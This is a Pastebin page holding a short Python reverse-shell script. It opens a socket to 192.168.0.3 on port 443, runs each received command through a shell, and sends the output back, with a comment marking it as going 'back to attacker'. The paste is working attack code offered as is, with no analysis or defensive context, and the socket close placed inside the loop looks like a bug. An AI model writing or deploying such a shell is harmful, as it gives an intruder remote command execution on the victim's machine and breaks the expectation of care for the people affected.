Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import socket
- import subprocess
- HOST = '192.168.0.3'
- PORT = 443
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((HOST, PORT))
- # loop forever
- while 1:
- # recv command line param
- data = s.recv(1024)
- # execute command line
- proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
- # grab output from commandline
- stdout_value = proc.stdout.read() + proc.stderr.read()
- # send back to attacker
- s.send(stdout_value)
- # quit out afterwards and kill socket
- s.close()
Advertisement